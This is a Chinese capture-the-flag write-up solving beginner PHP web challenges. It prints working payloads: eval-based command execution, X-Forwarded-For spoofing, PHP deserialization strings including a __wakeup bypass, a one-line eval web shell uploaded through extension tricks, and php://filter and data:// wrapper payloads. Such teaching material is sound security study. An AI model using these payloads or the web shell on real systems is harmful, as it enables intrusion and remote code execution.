菜~就多练()
jicao
源码
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
分析源码,要上传一个POST和一个GET参数得到flag;id参数是POST方式,json参数是GET方式,那就用burpsuite抓包重发,把请求方式变更为POST(重发器右击),这样能同时有POST和GET请求;POST请求作为报文的一部分,GET请求在POST 和HTTP1.1标识中间,要注意的是两者的参数名以及内容是键值对的关系,内容不需要加引号,这样就得到了flag:
NSSCTF{58f20f2b-5f61-425a-8095-88ebb984d6be}
easyrce
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
源码显示,GET参数会直接当成PHP执行,所以直接构造payload执行系统命令:
?url=system("ls");
一层一层的找,找到后cat出来
NSSCTF{8bdf45c1-76cc-400c-bfe1-c8c41dd680dd}
Do_you_know_http
点进去显示:Please use 'WLLM' browser!
明显是瞎编的浏览器,不可能有这个,那就抓包,改User-Agent这个头可以说明发这个包的人用了什么操作系统,用了什么浏览器,但是可以修改,也不是完全可信,操作如下
显示访问成功,且我们现在位置在a.php,那就访问一下a.php
只能本地访问,也就是说只能以127.0.0.1访问,图中的IP是我们自己的IP(非代理服务器)
做不到,但是可以伪造IP,在host后面加X-Forwarded-For标签,这个标签用来指示原始机器的地址
也就是X-Forwarded-For:127.0.0.1
这次被定向到secretttt.php,直接访问,得到flag
NSSCTF{e4054245-be82-4509-a5b5-eaa5e8f354bc}
下面两个题目是反序列化漏洞
ez_unserialize
F12什么也没有,那就用dirsearch扫一下目录扫出来这个
flag.php是0B,空的不用管,看看robots.txt,这个规定了哪些可以被爬虫爬取,哪些不可以,访问一下发现cl45s.php
访问cl45s.php
发现源码
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
源码先定义了一个类wllm,有admin和passwd两个属性,在类被创建的时候admin属性为user,passwd属性为123456,当类被毁灭时(回车刷新的时候)如果满足条件使得admin属性为admin且passwd属性为ctf那就触发flag
然后获取参数p,将其反序列化;
也就是说,我们直接写一个序列修改wllm的属性值,然后再刷新即可得到flag
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
再来细说一下序列化和反序列化
序列化是为了数据储存和传输的方便,比如我创建了一个类people,其中有一个对象user,有name属性和age属性,且name值为john,age为thirty,序列化以后就是
O:4:"user":2:{s:4:"name";s:4:"john";s:3:"age";s:6:"thirty";}
O指的是对象Object,对象名长度为4,名为user,有两个键值对,s表示string字符串,4是字符串,字符串之间用;隔开;
反序列化则是把以上序列变成数组;
反序列化的漏洞的核心原因就是没有队用户输入恰当的过滤。
no_wakeup
源码如下
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
这题也是在毁灭实例的时候满足条件就触发flag,不同的是其有一个_wakeup方法,这种方法就是只要一有反序列化的操作就会触发,这里是反序列化后密码会被sha1 ,也就是说,实例确认默认属性后,反序列化修改属性值,其中密码属性值一定会变成其sha1值,从而无法触发if条件。
这涉及到一个知识点。只要对象标称的键值对数量不等于实际值就会绕过_wakeup方法
以O:4:"user":2:{s:4:"name";s:4:"john";s:3:"age";s:6:"thirty";}为例,我直接把2改成3,就会绕过wakeup方法,,依靠这个原理构造payload,
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
得到flag
下面俩题目是文件上传漏洞
easyupload1.0
这题大抵是前端验证。
发现这个上传入口只能传图片,传php或者空都不行。所以可以半路抓包,先传jpg,再修改文件后缀为php。
而jpg内容当然是木马
<?php eval($_GET['CMD']);?>
显示传输成功后,脚本在哪?
可以dirsearch扫一下目录,发现upload文件夹
在这个目录下执行php,构造payload执行系统命令或者看phpinfo,在环境变量找到flag
easyupload2.0
这一题可以一样先传jpg抓包,但是改后缀成php再重发发现是不行的,说明加入了后端验证。
根据hint:php是不行滴和实践,后端过滤掉了含有php的后缀
注释:php1,php2,php3……和phtml都可以被php解释器执行;
因此,把后缀变成phtml就可以了,剩下操作同上;
当然,这里前端也有点问题,没有过滤phtml,直接不抓包串pthml也OK的;
PseudoProtocols
这题一次考察了两个php伪协议内容
PHP 伪协议是一种特殊的 URL 方案,用于在 PHP 中访问各种资源,如文件、网络资源、输入/输出流等。
php://filter主要是截取流,比如指定某源码输出流,对其编码并显示在屏幕上,因为不是所有输出流都回到屏幕上;
data://text/plain;base64,******则是用来传文件的,可以指定文件类型,解码方式;
看题首先我们知道需要寻找hint.php
把参数设置为hint.php,无回显;那就把回显找出来,用php://filter
构造payload
?wllm=php://filter/read=convert.base64-encode/resource=hint.php
成功获得回显:
<?php
//go to /test2222222222222.php
?>
访问test2222222222222.php,发现源码
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
发现只要传a参数,并且a作为文件的内容是I want flag就可以了触发条件拿到flag
那就用data://传输
?a=data://text/plain;base64,SSB3YW50IGZsYWc=
得到flag